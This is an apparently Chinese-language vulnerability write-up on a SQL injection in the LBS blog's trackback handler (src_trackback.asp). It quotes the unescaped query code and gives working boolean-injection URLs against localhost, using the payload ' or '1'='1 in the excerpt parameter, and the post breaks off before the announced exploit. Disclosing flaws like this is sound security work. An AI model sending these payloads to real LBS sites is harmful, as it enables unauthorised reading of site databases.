最近剑心貌似在读LBS的代码,已经挖出几个了。但是好像还不足以刺激SiC发新版。这个洞的补丁看
这里 。
来源:Loveshell
source/src_trackback.asp中的注射
function trackbackSave(){
var tbEntry={"log_id": input["id"],
"url": input["url"],
"title": input["title"],
"excerpt": input["excerpt"],
"blog": input["blog_name"]
}
// These function calls look really horrible
tbEntry.log_id=func.checkInt(tbEntry.log_id);
tbEntry.url=func.trim(func.wordFilter(func.checkURL(tbEntry.url)));
tbEntry.title=func.trim(func.wordFilter(func.trimHTML(func.trimUBB(tbEntry.title))));
tbEntry.excerpt=func.trim(func.wordFilter(func.trimHTML(func.trimUBB(tbEntry.excerpt))));
tbEntry.blog=func.trim(func.wordFilter(func.trimHTML(func.trimUBB(tbEntry.blog))));
if(tbEntry.title=="") tbEntry.title=tbEntry.url;
// Better Leave the error messages below in English
if(!tbEntry.log_id)
trackbackResponse(1, "Invalid Article ID");
if(tbEntry.url=="")
trackbackResponse(1, "Source URL is Blank");
if(tbEntry.url==false||tbEntry.title==false||tbEntry.excerpt==false||tbEntry.blog==false)
trackbackResponse(1, "Content contains blocked words");
var tmpA=connBlog.query("select Count(log_ID) as i FROM blog_Article where log_locked=false AND log_mode<4 AND log_ID="+tbEntry.log_id);
if(tmpA[0]["i"]==0) trackbackResponse(1, "Article does not exist or is locked");
tmpA=connBlog.query("select Count(tb_ID) as i FROM blog_Trackback where tb_Title='"+tbEntry.title+"' AND tb_Excerpt='"+tbEntry.excerpt+"'");
if(tmpA[0]["i"]>0) trackbackResponse(1, "Trackback is already saved");
// Saving trackback
注意
tbEntry.log_id=func.checkInt(tbEntry.log_id);
tbEntry.url=func.trim(func.wordFilter(func.checkURL(tbEntry.url)));
tbEntry.title=func.trim(func.wordFilter(func.trimHTML(func.trimUBB(tbEntry.title))));
tbEntry.excerpt=func.trim(func.wordFilter(func.trimHTML(func.trimUBB(tbEntry.excerpt))));
tbEntry.blog=func.trim(func.wordFilter(func.trimHTML(func.trimUBB(tbEntry.blog))));
log_id被检查为 int 类型了,但是url以及excerpt等等呢?只是wordfilter以及tril以及去掉html的敏感东西而已,对注射是没有影响的,这些东西是从
var tbEntry={"log_id": input["id"],
"url": input["url"],
"title": input["title"],
"excerpt": input["excerpt"],
"blog": input["blog_name"]
}
input里来的哈~~~~,很明显的一个注射嘛!
因为这里注射的特殊性我们要用or,是一个字符类型的注射
http://127.0.0.1/aspscripts/lbs2.0.311/lbs/trackback.asp?url=1&id=1&blog_name=fffff&excerpt=1111'%20or%20'1'='1
http://127.0.0.1/aspscripts/lbs2.0.311/lbs/trackback.asp?url=1&id=1&blog_name=fffff&excerpt=1111'%20or%20'1'='2
这样可以看到效果
标志也很明显就是Trackback is already saved
那么好了 exploit也应该出来了
[1] [2] 下一页